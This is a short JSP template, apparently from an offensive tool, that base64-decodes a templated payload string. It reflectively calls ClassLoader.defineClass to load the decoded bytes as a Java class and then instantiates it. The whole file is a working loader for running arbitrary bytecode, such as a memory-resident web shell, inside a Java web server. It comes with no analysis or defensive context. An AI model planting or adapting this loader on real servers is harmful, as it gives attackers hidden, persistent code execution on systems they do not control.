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17 lines
1.0 KiB
Plaintext
17 lines
1.0 KiB
Plaintext
<%
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String base64Str = "{{base64Str}}";
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byte[] bytecode = null;
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try {
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Class base64Clz = Class.forName("java.util.Base64");
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Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
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bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
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} catch (ClassNotFoundException ee) {
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Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
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bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
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}
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java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE});
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defineClass.setAccessible(true);
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Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{bytecode, new Integer(0), new Integer(bytecode.length)});
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clazz.newInstance();
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%>
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